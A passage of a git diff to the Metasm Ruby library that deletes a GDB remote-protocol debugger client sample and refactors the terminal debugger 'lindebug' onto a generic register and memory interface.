"#{e} has no imports" next end - if pe - pe.imports.map { |id| id.imports.map { |i| i.name } } - else - [] - end + pe.imports.map { |id| id.imports.map { |i| i.name } } }.flatten.compact.uniq.sort ARGV.each { |n| diff --git a/lib/metasm/samples/gdbclient.rb b/lib/metasm/samples/gdbclient.rb deleted file mode 100644 index 9aabd2cf8e..0000000000 --- a/lib/metasm/samples/gdbclient.rb +++ /dev/null @@ -1,583 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -# -# this is a rubstop-api compatible Gdb stub -# it can connect to a gdb server and interface with the lindebug frontend -# linux/x86 only -# - -require 'socket' -require 'metasm' - -class GdbRemoteString < Metasm::VirtualString - attr_accessor :gdbg - - def initialize(gdbg, addr_start=0, length=0xffff_ffff) - @gdbg = gdbg - @pagelength = 512 - super(addr_start, length) - end - - def dup(addr=@addr_start, len=@length) - self.class.new(@gdbg, addr, len) - end - - def rewrite_at(addr, data) - len = data.length - off = 0 - while len > @pagelength - @gdbg.setmem(addr+off, data[off, @pagelength]) - off += @pagelength - len -= @pagelength - end - @gdbg.setmem(addr+off, data[off, len]) - end - - def get_page(addr) - @gdbg.getmem(addr, @pagelength) - end -end - -class Rubstop - EFLAGS = {0 => 'c', 2 => 'p', 4 => 'a', 6 => 'z', 7 => 's', 9 => 'i', 10 => 'd', 11 => 'o'} - GDBREGS = %w[eax ecx edx ebx esp ebp esi edi eip eflags cs ss ds es fs gs] # XXX [77] = 'orig_eax' - # define accessors for registers - GDBREGS.compact.each { |reg| - define_method(reg) { regs_cache[reg] } - define_method(reg + '=') { |v| regs_cache[reg] = v ; regs_dirty } - } - - # compute the hex checksum used in gdb protocol - def gdb_csum(buf) - '%02x' % (buf.unpack('C*').inject(0) { |cs, c| cs + c } & 0xff) - end - - # send the buffer, waits ack - # return true on success - def gdb_send(cmd, buf='') - buf = cmd + buf - buf = '$' << buf << '#' << gdb_csum(buf) - log "gdb_send(#{buf[0, 32].inspect}#{'...' if buf.length > 32})" if $DEBUG - - 5.times { - @io.write buf - loop do - if not IO.select([@io], nil, nil, 1) - break - end - raise Errno::EPIPE if not ack = @io.read(1) - case ack - when '+' - return true - when '-' - log "gdb_send: ack neg" if $DEBUG - break - when nil; return - end - end - } - log "send error #{cmd.inspect} (no ack)" - false - end - - # return buf, or nil on error / csum error - def gdb_readresp - state = :nosync - buf = '' - cs = '' - while state != :done - # XXX timeout etc - raise Errno::EPIPE if not c = @io.read(1) - case state - when :nosync - if c == '$' - state = :data - end - when :data - if c == '#' - state = :csum1 - else - buf << c - end - when :csum1 - cs << c - state = :csum2 - when :csum2 - cs << c - state = :done - if cs.downcase != gdb_csum(buf).downcase - log "transmit error" - @io.write '-' - return - end - end - end - @io.write '+' - - if buf =~ /^E(..)$/ - e = $1.to_i(16) - log "error #{e} (#{Metasm::PTrace::ERRNO.index(e)})" - return - end - log "gdb_readresp: got #{buf[0, 64].inspect}#{'...' if buf.length > 64}" if $DEBUG - - buf - end - - def gdb_msg(*a) - if gdb_send(*a) - gdb_readresp - end - end - - # rle: build the regexp that will match repetitions of a character, skipping counts leading to invalid char - rng = [3..(125-29)] - [?+, ?-, ?#, ?$].sort.each { |invalid| - invalid -= 29 - rng.each_with_index { |r, i| - if r.include? invalid - replace = [r.begin..invalid-1, invalid+1..r.end] - replace.delete_if { |r_| r_.begin > r_.end } - rng[i, 1] = replace - end - } - } - repet = rng.reverse.map { |r| "\\1{#{r.begin},#{r.end}}" }.join('|') - RLE_RE = /(.)(#{repet})/ - - # rle-compress a buffer - # a character followed by '*' followed by 'x' is asc(x)-28 repetitions of the char - # eg '0* ' => '0' * (asc(' ') - 28) = '0000' - # for the count character, it must be 32 <= char < 126 and not be '+' '-' '#' or '$' - def rle(buf) - buf.gsub(RLE_RE) { - chr, len = $1, $2.length+1 - chr + '*' + (len+28).chr - } - end - # decompress rle-encoded data - def unrle(buf) buf.gsub(/(.)\*(.)/) { $1 * ($2[0]-28) } end - # send an integer as a long hex packed with leading 0 stripped - def hexl(int) [int].pack('N').unpack('H*').first.gsub(/^0+(.)/, '\1') end - # send a binary buffer as a rle hex-encoded - def hex(buf) buf.unpack('H*').first end - # decode an rle hex-encoded buffer - def unhex(buf) - buf = buf[/^[a-fA-F0-9]*/] - buf = '0' + buf if buf.length % 1 == 1 - [buf].pack('H*') - end - - # on-demand local cache of registers - def regs_cache - readregs if @regs_cache.empty? - @regs_cache - end - - # retrieve remote regs - def readregs - sync_regs - if buf = gdb_msg('g') - regs = unhex(unrle(buf)) - if regs.length < GDBREGS.length*4 - # retry once, was probably a response to something else - puts "bad regs size!" if $DEBUG - buf = gdb_msg('g') - regs = unhex(unrle(buf)) if buf - if not buf or regs.length < GDBREGS.length*4 - raise "regs buffer recv is too short !" - end - end - @regs_dirty = false - @regs_cache = Hash[GDBREGS.zip(regs.unpack('L*'))] - end - @curinstr = nil if @regs_cache['eip'] != @oldregs['eip'] - end - - # mark local cache of regs as modified, need to send it before continuing execution - def regs_dirty - @regs_dirty = true - end - - # send the local copy of regs if dirty - def sync_regs - if not @regs_cache.empty? and @regs_dirty - send_regs - end - end - - # send the local copy of regs - def send_regs - return if @regs_cache.empty? - regs = @regs_cache.values_at(*GDBREGS) - @regs_dirty = false - gdb_msg('G', hex(regs.pack('L*'))) - end - - # read memory (small blocks prefered) - def getmem(addr, len) - return '' if len == 0 - if mem = gdb_msg('m', hexl(addr) << ',' << hexl(len)) - unhex(unrle(mem)) - end - end - - # write memory (small blocks prefered) - def setmem(addr, data) - len = data.length - return if len == 0 - raise 'writemem error' if not gdb_msg('M', hexl(addr) << ',' << hexl(len) << ':' << rle(hex(data))) - end - - # read arbitrary blocks of memory (chunks to getmem) - def [](addr, len) - @pgm.encoded[addr, len].data rescue '' - end - - # write arbitrary blocks of memory (chunks to getmem) - def []=(addr, len, str) - @pgm.encoded[addr, len] = str - end - - def curinstr - @curinstr ||= mnemonic_di - end - - def mnemonic_di(addr = eip) - @pgm.encoded.ptr = addr - di = @pgm.cpu.decode_instruction(@pgm.encoded, addr) - @curinstr = di if addr == @regs_cache['eip'] - di - end - - def mnemonic(addr = eip) - mnemonic_di(addr).instruction - end - - def pre_run - @oldregs = regs_cache.dup - sync_regs - end - - def post_run - @regs_cache.clear - @curinstr = nil - @mem.invalidate - end - - def quiet - @quiet = true - begin - yield - ensure - @quiet = false - end - end - - def log_stopped(msg) - return if @quiet ||= false - case msg[0] - when ?T - sig = [msg[1, 2]].pack('H*')[0] - misc = msg[3..-1].split(';').inject({}) { |h, s| k, v = s.split(':', 2) ; h.update k => (v || true) } - str = "stopped by signal #{sig}" - str = "thread #{[misc['thread']].pack('H*').unpack('N').first} #{str}" if misc['thread'] - log str - when ?S - sig = [msg[1, 2]].pack('H*')[0] - log "stopped by signal #{sig}" - end - end - - def cont - pre_run - do_singlestep if @wantbp - rmsg = gdb_msg('c') - post_run - ccaddr = eip-1 - if @breakpoints[ccaddr] and self[ccaddr, 1] == "\xcc" - self[ccaddr, 1] = @breakpoints.delete ccaddr - mem.invalidate - self.eip = ccaddr - @wantbp = ccaddr if not @singleshot.delete ccaddr - sync_regs - end - log_stopped rmsg - end - - def singlestep - pre_run - do_singlestep - post_run - end - - def do_singlestep - gdb_msg('s') - if @wantbp - self[@wantbp, 1] = "\xcc" - @wantbp = nil - end - end - - def stepover - i = curinstr.instruction if curinstr - if i and (i.opname == 'call' or (i.prefix and i.prefix[:rep])) - eaddr = eip + curinstr.bin_length - bpx eaddr, true - quiet { cont } - else - singlestep - end - end - - def stepout - stepover until curinstr and curinstr.opcode.name == 'ret' - singlestep - rescue Interrupt - log 'interrupted' - end - - def bpx(addr, singleshot=false) - return if @breakpoints[addr] - @singleshot[addr] = true if singleshot - @breakpoints[addr] = self[addr, 1] - self[addr, 1] = "\xcc" - end - - - def kill - gdb_send('k') - end - - def detach - # TODO clear breakpoints - gdb_send('D') - end - - attr_accessor :pgm, :breakpoints, :singleshot, :wantbp, - :symbols, :symbols_len, :filemap, :oldregs, :io, :mem - def initialize(io) - case io - when IO; @io = io - when /^udp:([^:]*):(\d+)$/; @io = UDPSocket.new ; @io.connect($1, $2) - when /^(?:tcp:)?([^:]*):(\d+)$/; @io = TCPSocket.open($1, $2) - else raise "unknown target #{io.inspect}" - end - @pgm = Metasm::ExeFormat.new Metasm::Ia32.new - @mem = GdbRemoteString.new self - @pgm.encoded = Metasm::EncodedData.new @mem - @regs_cache = {} - @regs_dirty = nil - @oldregs = {} - @breakpoints = {} - @singleshot = {} - @wantbp = nil - @symbols = {} - @symbols_len = {} - @filemap = {} - - gdb_setup - end - - def gdb_setup - #gdb_msg('q', 'Supported') - #gdb_msg('Hc', '-1') - #gdb_msg('qC') - if not gdb_msg('?') - log "nobody on the line, waiting for someone to wake up" - IO.select([@io], nil, nil, nil) - log "who's there ?" - end - end - - def set_hwbp(type, addr, len=1, set=true) - set = (set ? 'Z' : 'z') - type = { 'r' => '3', 'w' => '2', 'x' => '1', 's' => '0' }[type] || raise("invalid hwbp type #{type}") - gdb_msg(set, type << ',' << hexl(addr) << ',' << hexl(len)) - true - end - - def unset_hwbp(type, addr, len=1) - set_hwbp(type, addr, len, false) - end - - - def findfilemap(s) - @filemap.keys.find { |k| @filemap[k][0] <= s and @filemap[k][1] > s } || '???' - end - - def findsymbol(k) - file = findfilemap(k) + '!' - if s = @symbols[k] ? k : @symbols.keys.find { |s_| s_ < k and s_ + @symbols_len[s_].to_i > k } - file + @symbols[s] + (s == k ? '' : "+#{(k-s).to_s(16)}") - else - file + ('%08x' % k) - end - end - - def loadsyms(baseaddr, name) - @loadedsyms ||= {} - return if @loadedsyms[name] or self[baseaddr, 4] != "\x7fELF" - @loadedsyms[name] = true - - set_status " loading symbols from #{name}..." - e = Metasm::LoadedELF.load self[baseaddr, 0x100_0000] - e.load_address = baseaddr - begin - e.decode - #e = Metasm::ELF.decode_file name rescue return # read from disk - rescue - log "failed to load symbols from #{name}: #$!" - ($!.backtrace - caller).each { |l| log l.chomp } - @filemap[baseaddr.to_s(16)] = [baseaddr, baseaddr+0x1000] - return - rescue Interrupt - log "interrupted" - end - - if e.tag['SONAME'] - name = e.tag['SONAME'] - return if name and @loadedsyms[name] - @loadedsyms[name] = true - end - - last_s = e.segments.reverse.find { |s| s.type == 'LOAD' } - vlen = last_s.vaddr + last_s.memsz - vlen -= baseaddr if e.header.type == 'EXEC' - @filemap[name] = [baseaddr, baseaddr + vlen] - - oldsyms = @symbols.length - e.symbols.each { |s| - next if not s.name or s.shndx == 'UNDEF' - sname = s.name - sname = 'weak_'+sname if s.bind == 'WEAK' - sname = 'local_'+sname if s.bind == 'LOCAL' - v = s.value - v = baseaddr + v if v < baseaddr - @symbols[v] = sname - @symbols_len[v] = s.size - } - if e.header.type == 'EXEC' and e.header.entry >= baseaddr and e.header.entry < baseaddr + vlen - @symbols[e.header.entry] = 'entrypoint' - end - set_status nil - log "loaded #{@symbols.length-oldsyms} symbols from #{name} at #{'%08x' % baseaddr}" - end - - # scan val at the beginning of each page (custom gdb msg) - def pageheadsearch(val) - resp = gdb_msg('qy', hexl(val)) - unhex(resp).unpack('L*') - end - - def scansyms - # TODO use qSymbol or something - pageheadsearch("\x7fELF".unpack('L').first).each { |addr| loadsyms(addr, '%08x'%addr) } - end - - # use qSymbol to retrieve a symbol value (uint) - def request_symbol(name) - resp = gdb_msg('qSymbol:', hex(name)) - if resp and a = resp.split(':')[1] - unhex(a).unpack('N').first - end - end - - def loadallsyms - # kgdb: read kernel symbols from 'module_list' - # too bad module_list is not in ksyms - if mod = request_symbol('module_list') - int_at = lambda { |addr, off| @mem[addr+off, 4].unpack('L').first } - mod_size = lambda { int_at[mod, 0] } - mod_next = lambda { int_at[mod, 4] } - mod_nsym = lambda { int_at[mod, 0x18] } # most portable. yes. - mod_syms = lambda { int_at[mod, 0x20] } - - read_strz = lambda { |addr| - if i = @mem.index(?\0, addr) - @mem[addr...i] - end - } - - while mod != 0 - symtab = [[]] - - @mem[mod_syms[], mod_nsym[]*8].to_str.unpack('L*').each { |i| - # make a list of couples - if symtab.last.length < 2 - symtab.last << i - else - symtab << [i] - end - } - - symtab.each { |v, n| - n = read_strz[n] - # ||= to keep symbol precedence order (1st match wins) - @symbols[v] ||= n - } - - mod = mod_next[] - end - end - end - - def loadmap(mapfile) - # file fmt: addr type name eg 'c01001ba t setup_idt' - minaddr = maxaddr = nil - File.read(mapfile).each { |l| - addr, type, name = l.chomp.split - addr = addr.to_i(16) - minaddr = addr if not minaddr or minaddr > addr - maxaddr = addr if not maxaddr or maxaddr < addr - @symbols[addr] = name - } - if minaddr - @filemap[minaddr.to_s(16)] = [minaddr, maxaddr+1] - end - end - - def backtrace - s = findsymbol(eip) - if block_given? - yield s - else - bt = [] - bt << s - end - fp = ebp - while fp >= esp and fp <= esp+0x100000 - s = findsymbol(self[fp+4, 4].unpack('L').first) - if block_given? - yield s - else - bt << s - end - fp = self[fp, 4].unpack('L').first - end - bt - end - - attr_accessor :logger - def log(s) - @logger ||= $stdout - @logger.puts s - end - - # set a temporary status info (nil for default value) - def set_status(s) - @logger ||= $stdout - if @logger != $stdout - @logger.statusline = s - else - s ||= ' '*72 - @logger.print s + "\r" - @logger.flush - end - end - - def checkbp ; end -end diff --git a/lib/metasm/samples/lindebug.rb b/lib/metasm/samples/lindebug.rb index 2d20c04eeb..7976bdaafa 100644 --- a/lib/metasm/samples/lindebug.rb +++ b/lib/metasm/samples/lindebug.rb @@ -47,14 +47,15 @@ module Ansi $stdin.ioctl(TIOCGWINSZ, s) >= 0 ? s.unpack('SS') : [80, 25] end def self.set_term_canon(bool) - tty = ''.ljust(256) - $stdin.ioctl(TCGETS, tty) + ttys = ''.ljust(256) + $stdin.ioctl(TCGETS, ttys) + tty = ttys.unpack('C*') if bool tty[12] &= ~(ECHO|CANON) else tty[12] |= ECHO|CANON end - $stdin.ioctl(TCSETS, tty) + $stdin.ioctl(TCSETS, tty.pack('C*')) end ESC_SEQ = {'A' => :up, 'B' => :down, 'C' => :right, 'D' => :left, @@ -85,49 +86,11 @@ module Ansi end end -class Indirect < Metasm::ExpressionType - attr_accessor :ptr, :sz - UNPACK_STR = {1 => 'C', 2 => 'S', 4 => 'L'} - def initialize(ptr, sz) @ptr, @sz = ptr, sz end - def bind(bd) - raw = bd['tracer_memory'][@ptr.bind(bd).reduce, @sz] - Metasm::Expression[raw.unpack(UNPACK_STR[@sz]).first] - end - def externals ; @ptr.externals end -end - -class ExprParser < Metasm::Expression - def self.parse_intfloat(lex, tok) - case tok.raw - when 'byte', 'word', 'dword' - nil while ntok = lex.readtok and ntok.type == :space - nil while ntok = lex.readtok and ntok.type == :space if ntok and ntok.raw == 'ptr' - if ntok and ntok.raw == '[' - tok.value = Indirect.new(parse(lex), {'byte' => 1, 'word' => 2, 'dword' => 4}[tok.raw]) - nil while ntok = lex.readtok and ntok.type == :space - nil while ntok = lex.readtok and ntok.type == :space if ntok and ntok.raw == ']' - lex.unreadtok ntok - end - else super(lex, tok) - end - end - def self.parse_value(lex) - nil while tok = lex.readtok and tok.type == :space - lex.unreadtok tok - if tok and tok.type == :punct and tok.raw == '[' - tt = tok.dup - tt.type = :string - tt.raw = 'dword' - lex.unreadtok tt - end - super(lex) - end -end - class LinDebug - attr_accessor :win_data_height, :win_code_height, :win_prpt_height + attr_accessor :win_reg_height, :win_data_height, :win_code_height, :win_prpt_height def init_screen Ansi.set_term_canon(true) + @win_reg_height = 2 @win_data_height = 20 @win_code_height = 20 resize @@ -139,7 +102,7 @@ class LinDebug $stdout.flush end - def win_data_start; 2 end + def win_data_start; @win_reg_height end def win_code_start; win_data_start+win_data_height end def win_prpt_start; win_code_start+win_code_height end @@ -164,9 +127,8 @@ class LinDebug attr_accessor :dataptr, :codeptr, :rs, :promptlog, :command def initialize(rs) @rs = rs - @rs.logger = self + @rs.set_log_proc { |l| add_log l } @datafmt = 'db' - @watch = nil @prompthistlen = 20 @prompthistory = [] @@ -176,6 +138,7 @@ class LinDebug @promptpos = 0 @log_off = 0 @console_width = 80 + @oldregs = {} @running = false @focus = :prompt @@ -185,7 +148,7 @@ class LinDebug end def init_rs - @codeptr = @dataptr = @rs.regs_cache['eip'] # avoid initial faults + @codeptr = @dataptr = @rs.pc # avoid initial faults end def main_loop @@ -201,9 +164,9 @@ class LinDebug $stdout.print Ansi.set_cursor_pos(@console_height, 1) end rescue - $stdout.puts $!, $!.backtrace + puts $!, $!.backtrace end - $stdout.puts @promptlog.last + puts @promptlog.last end # optimize string to display to stdout @@ -218,7 +181,7 @@ class LinDebug def display_screen(screenlines, cursx, cursy) @oldscreenbuf ||= [] - lines = screenlines.to_a + lines = screenlines.lines oldlines = @oldscreenbuf @oldscreenbuf = lines screenlines = lines.zip(oldlines).map { |l, ol| l == ol ? "\n" : l }.join @@ -247,41 +210,40 @@ class LinDebug end def _updateregs - text = '' - text << ' ' - x = 1 - %w[eax ebx ecx edx eip].each { |r| - text << Color[:changed] if @rs.regs_cache[r] != @rs.oldregs[r] - text << r << ?= - text << ('%08X' % @rs.regs_cache[r]) - text << Color[:normal] if @rs.regs_cache[r] != @rs.oldregs[r] - text << ' ' - x += r.length + 11 + pvrsz = 0 + words = @rs.register_list.map { |r| + rs = r.to_s.rjust(pvrsz) + pvrsz = rs.length + rv = @rs[r] + ["#{rs}=%0#{@rs.register_size[r]/4}X " % rv, + (@oldregs[r] != rv)] + } + @rs.flag_list.map { |fl| + fv = @rs.get_flag(fl) + [fv ? fl.to_s.upcase : fl.to_s.downcase, + (@oldregs[fl] != fv)] } - text << (' '*([@console_width-x, 0].max)) << "\n" << ' ' - x = 1 - %w[esi edi ebp esp].each { |r| - text << Color[:changed] if @rs.regs_cache[r] != @rs.oldregs[r] - text << r << ?= - text << ('%08X' % @rs.regs_cache[r]) - text << Color[:normal] if @rs.regs_cache[r] != @rs.oldregs[r] - text << ' ' - x += r.length + 11 - } - Rubstop::EFLAGS.sort.each { |off, flag| - val = @rs.regs_cache['eflags'] & (1<= @console_width - 1 + text << (' '*([@console_width-linelen, 0].max)) << "\n " + linelen = 1 + @win_reg_height += 1 end + + text << Color[:changed] if changed + text << w + text << Color[:normal] if changed text << ' ' - x += 2 + + linelen += w.length+1 } - text << (' '*([@console_width-x, 0].max)) << "\n" + resize if owr != @win_reg_height + text << (' '*([@console_width-linelen, 0].max)) << "\n" end def updatecode @@ -291,21 +253,23 @@ class LinDebug def _updatecode if @codeptr addr = @codeptr - elsif @rs.oldregs['eip'] and @rs.oldregs['eip'] < @rs.regs_cache['eip'] and @rs.oldregs['eip'] + 8 >= @rs.regs_cache['eip'] - addr = @rs.oldregs['eip'] + elsif @oldregs[@rs.register_pc] and @oldregs[@rs.register_pc] < @rs.pc and @oldregs[@rs.register_pc] + 8 >= @rs.pc + addr = @oldregs[@rs.register_pc] else - addr = @rs.regs_cache['eip'] + addr = @rs.pc end @codeptr = addr - if @rs.findfilemap(addr) == '???' - base = addr & 0xffff_f000 + addrsz = @rs.register_size[@rs.register_pc] + addrfmt = "%0#{addrsz/4}X" + if not @rs.addr2module(addr) and @rs.shortname !~ /remote/ + base = addr & ((1 << addrsz) - 0x1000) @noelfsig ||= {} # cache elfmagic notfound - if not @noelfsig[base] and base < 0xc000_0000 - self.statusline = " scanning for elf header at #{'%08X' % base}" + if not @noelfsig[base] and base < ((1 << addrsz) - 0x1_0000) + self.statusline = " scanning for elf header at #{addrfmt % base}" 128.times { - @statusline = " scanning for elf header at #{'%08X' % base}" - if not @noelfsig[base] and @rs[base, 4] == Metasm::ELF::MAGIC + @statusline = " scanning for elf header at #{addrfmt % base}" + if not @noelfsig[base] and @rs[base, Metasm::ELF::MAGIC.length] == Metasm::ELF::MAGIC @rs.loadsyms(base, base.to_s(16)) break else @@ -320,36 +284,43 @@ class LinDebug text = '' text << Color[:border] - title = @rs.findsymbol(addr) + title = @rs.addrname(addr) pre = [@console_width-100, 6].max post = @console_width - (pre + title.length + 2) text << Ansi.hline(pre) << ' ' << title << ' ' << Ansi.hline(post) << Color[:normal] << "\n" + seg = '' + seg = ('%04X' % @rs['cs']) << ':' if @rs.cpu.shortname =~ /ia32|x64/ + cnt = @win_code_height while (cnt -= 1) > 0 if @rs.symbols[addr] text << (' ' << @rs.symbols[addr] << ?:) << Ansi::ClearLineAfter << "\n" break if (cnt -= 1) <= 0 end - text << Color[:hilight] if addr == @rs.regs_cache['eip'] - text << ('%04X' % @rs.regs_cache['cs']) << ':' - text << ('%08X' % addr) - di = @rs.mnemonic_di(addr) - di = nil if di and addr < @rs.regs_cache['eip'] and addr+di.bin_length > @rs.regs_cache['eip'] + text << Color[:hilight] if addr == @rs.pc + text << seg + if @rs.shortname =~ /remote/ and @rs.realmode + text << (addrfmt % (addr - 16*@rs['cs'])) + else + text << (addrfmt % addr) + end + di = @rs.di_at(addr) + di = nil if di and addr < @rs.pc and addr+di.bin_length > @rs.pc len = (di ? di.bin_length : 1) text << ' ' - text << @rs[addr, [len, 10].min].unpack('C*').map { |c| '%02X' % c }.join.ljust(22) + text << @rs.memory[addr, [len, 10].min].to_s.unpack('C*').map { |c| '%02X' % c }.join.ljust(22) if di text << - if addr == @rs.regs_cache['eip'] - "*#{di.instruction}".ljust([@console_width-37, 0].max) + if addr == @rs.pc + "*#{di.instruction}".ljust([@console_width-(addrsz/4+seg.length+24), 0].max) else " #{di.instruction}" << Ansi::ClearLineAfter end else text << ' ' << Ansi::ClearLineAfter end - text << Color[:normal] if addr == @rs.regs_cache['eip'] + text << Color[:normal] if addr == @rs.pc addr += len text << "\n" end @@ -361,27 +332,33 @@ class LinDebug end def _updatedata - @dataptr &= 0xffff_ffff + addrsz = @rs.register_size[@rs.register_pc] + addrfmt = "%0#{addrsz/4}X" + + @dataptr &= ((1 << addrsz) - 1) addr = @dataptr text = '' text << Color[:border] - title = @rs.findsymbol(addr) + title = @rs.addrname(addr) pre = [@console_width-100, 6].max post = [@console_width - (pre + title.length + 2), 0].max text << Ansi.hline(pre) << ' ' << title << ' ' << Ansi.hline(post) << Color[:normal] << "\n" + seg = '' + seg = ('%04X' % @rs['ds']) << ':' if @rs.cpu.shortname =~ /^ia32/ + cnt = @win_data_height while (cnt -= 1) > 0 - raw = @rs[addr, 16].to_s - text << ('%04X' % @rs.regs_cache['ds']) << ':' << ('%08X' % addr) << ' ' + raw = @rs.memory[addr, 16].to_s + text << seg << (addrfmt % addr) << ' ' case @datafmt when 'db'; text << raw[0,8].unpack('C*').map { |c| '%02x ' % c }.join << ' ' << raw[8,8].to_s.unpack('C*').map { |c| '%02x ' % c }.join when 'dw'; text << raw.unpack('S*').map { |c| '%04x ' % c }.join when 'dd'; text << raw.unpack('L*').map { |c| '%08x ' % c }.join end - text << ' ' << raw.unpack('C*').map { |c| (0x20..0x7e).include?(c) ? c : ?. }.pack('C*') + text << ' ' << raw.unpack('C*').map { |c| (0x20..0x7e).include?(c) ? c : 0x2e }.pack('C*') text << Ansi::ClearLineAfter << "\n" addr += 16 end @@ -420,17 +397,17 @@ class LinDebug @console_height, @console_width = Ansi.get_terminal_size @win_data_height = 1 if @win_data_height < 1 @win_code_height = 1 if @win_code_height < 1 - if @win_data_height + @win_code_height + 5 > @console_height + if @win_data_height + @win_code_height + @win_reg_height + 3 > @console_height @win_data_height = @console_height/2 - 4 @win_code_height = @console_height/2 - 4 end - @win_prpt_height = @console_height-(@win_data_height+@win_code_height+2) - 1 + @win_prpt_height = @console_height-(@win_data_height+@win_code_height+@win_reg_height) - 1 @oldscreenbuf = [] update end def log(*strs) - strs.each { |str| + strs.each { |str| raise str.inspect if not str.kind_of? ::String str = str.chomp if str.length > @console_width @@ -440,85 +417,52 @@ class LinDebug end @promptlog << str @promptlog.shift if @promptlog.length > @promptloglen - } + } end - def puts(*s) - s.each { |s_| log s_.to_s } - super(*s) if not @running - update rescue super(*s) - end - - def mem_binding(expr) - b = @rs.regs_cache.dup - ext = expr.externals - (ext - @rs.regs_cache.keys).each { |ex| - if not s = @rs.symbols.index(ex) - near = @rs.symbols.values.grep(/#{ex}/i) - if near.length > 1 - log "#{ex.inspect} is ambiguous: #{near.inspect}" - return {} - elsif near.empty? - log "unknown value #{ex.inspect}" - return {} - else - log "using #{near.first.inspect} for #{ex.inspect}" - s = @rs.symbols.index(near.first) - end - end - b[ex] = s - } - b['tracer_memory'] = @rs - b + def add_log(l) + log l + puts l if not @running + update rescue puts l end def exec_prompt @log_off = 0 log ':'+@promptbuf return if @promptbuf == '' - lex = Metasm::Preprocessor.new.feed @promptbuf + str = @promptbuf @prompthistory << @promptbuf @prompthistory.shift if @prompthistory.length > @prompthistlen @promptbuf = '' @promptpos = @promptbuf.length - argint = lambda { - begin - raise if not e = ExprParser.parse(lex) - rescue - log 'syntax error' - return - end - e = e.bind(mem_binding(e)).reduce - if e.kind_of? Integer; e - else log "could not resolve #{e.inspect}" ; nil - end - } - cmd = lex.readtok - cmd = cmd.raw if cmd - nil while ntok = lex.readtok and ntok.type == :space - lex.unreadtok ntok + cmd, str = str.split(/\s+/, 2) if @command.has_key? cmd - @command[cmd].call(lex, argint) + @command[cmd].call(str.to_s) else if cmd and (poss = @command.keys.find_all { |c| c[0, cmd.length] == cmd }).length == 1 - @command[poss.first].call(lex, argint) + @command[poss.first].call(str.to_s) else log 'unknown command' end end end + def preupdate + @rs.register_list.each { |r| @oldregs[r] = @rs[r] } + @rs.flag_list.each { |fl| @oldregs[fl] = @rs.get_flag(fl) } + end + def updatecodeptr - @codeptr ||= @rs.regs_cache['eip'] - if @codeptr > @rs.regs_cache['eip'] or @codeptr < @rs.regs_cache['eip'] - 6*@win_code_height - @codeptr = @rs.regs_cache['eip'] - elsif @codeptr != @rs.regs_cache['eip'] + @codeptr ||= @rs.pc + if @codeptr > @rs.pc or @codeptr < @rs.pc - 6*@win_code_height + @codeptr = @rs.pc + elsif @codeptr != @rs.pc addr = @codeptr addrs = [] - while addr < @rs.regs_cache['eip'] + while addr < @rs.pc addrs << addr - o = ((di = @rs.mnemonic_di(addr)) ? di.bin_length : 0) + o = ((di = @rs.di_at(addr)) ? di.bin_length : 0) addr += ((o == 0) ? 1 : o) end if addrs.length > @win_code_height-4 @@ -529,36 +473,40 @@ class LinDebug end def updatedataptr - @dataptr = @watch.bind(mem_binding(@watch)).reduce if @watch end def singlestep self.statusline = ' target singlestepping...' - @rs.singlestep + preupdate + @rs.singlestep_wait updatecodeptr @statusline = nil end def stepover self.statusline = ' target running...' - @rs.stepover + preupdate + @rs.stepover_wait updatecodeptr @statusline = nil end def cont(*a) self.statusline = ' target running...' - @rs.cont(*a) + preupdate + @rs.continue_wait(*a) updatecodeptr @statusline = nil end def stepout self.statusline = ' target running...' - @rs.stepout + preupdate + @rs.stepout_wait updatecodeptr @statusline = nil end def syscall self.statusline = ' target running to next syscall...' - @rs.syscall + preupdate + @rs.syscall_wait updatecodeptr @statusline = nil end @@ -578,17 +526,14 @@ class LinDebug end break if handle_keypress(Ansi.getkey) end - @rs.checkbp end def handle_keypress(k) case k - when 4; log 'exiting'; return true # eof - when ?\e; focus = :prompt + when ?\4; log 'exiting'; return true # eof + when ?\e; @focus = :prompt when :f5; cont - when :f6 - syscall - log @rs.syscallnr.index(@rs.regs_cache['orig_eax']) || @rs.regs_cache['orig_eax'].to_s + when :f6; syscall when :f10; stepover when :f11; singlestep when :f12; stepout @@ -607,9 +552,9 @@ class LinDebug when :data @dataptr -= 16 when :code - @codeptr ||= @rs.regs_cache['eip'] + @codeptr ||= @rs.pc @codeptr -= (1..10).find { |off| - di = @rs.mnemonic_di(@codeptr-off) + di = @rs.di_at(@codeptr-off) di.bin_length == off if di } || 10 end @@ -628,25 +573,25 @@ class LinDebug when :data @dataptr += 16 when :code - @codeptr ||= @rs.regs_cache['eip'] - di = @rs.mnemonic_di(@codeptr) + @codeptr ||= @rs.pc + di = @rs.di_at(@codeptr) @codeptr += (di ? (di.bin_length || 1) : 1) end when :left; @promptpos -= 1 if @promptpos > 0 when :right; @promptpos += 1 if @promptpos < @promptbuf.length when :home; @promptpos = 0 when :end; @promptpos = @promptbuf.length - when :backspace, 0x7f; @promptbuf[@promptpos-=1, 1] = '' if @promptpos > 0 + when :backspace, ?\x7f; @promptbuf[@promptpos-=1, 1] = '' if @promptpos > 0 when :suppr; @promptbuf[@promptpos, 1] = '' if @promptpos < @promptbuf.length when :pgup case @focus when :prompt; @log_off += @win_prpt_height-3 when :data; @dataptr -= 16*(@win_data_height-1) when :code - @codeptr ||= @rs.regs_cache['eip'] + @codeptr ||= @rs.pc (@win_code_height-1).times { @codeptr -= (1..10).find { |off| - di = @rs.mnemonic_di(@codeptr-off) + di = @rs.di_at(@codeptr-off) di.bin_length == off if di } || 10 } @@ -656,8 +601,8 @@ class LinDebug when :prompt; @log_off -= @win_prpt_height-3 when :data; @dataptr += 16*(@win_data_height-1) when :code - @codeptr ||= @rs.regs_cache['eip'] - (@win_code_height-1).times { @codeptr += ((o = @rs.mnemonic_di(@codeptr)) ? [o.bin_length, 1].max : 1) } + @codeptr ||= @rs.pc + (@win_code_height-1).times { @codeptr += ((o = @rs.di_at(@codeptr)) ? [o.bin_length, 1].max : 1) } end when ?\t if not @promptbuf[0, @promptpos].include? ' ' @@ -676,7 +621,7 @@ class LinDebug rescue Exception log "error: #$!", *$!.backtrace end - when 0x20..0x7e + when ?\ ..?~ @promptbuf[@promptpos, 0] = k.chr @promptpos += 1 else log "unknown key pressed #{k.inspect}" @@ -685,240 +630,89 @@ class LinDebug end def load_commands - ntok = nil - @command['kill'] = lambda { |lex, int| + @command['kill'] = lambda { |str| @rs.kill @running = false log 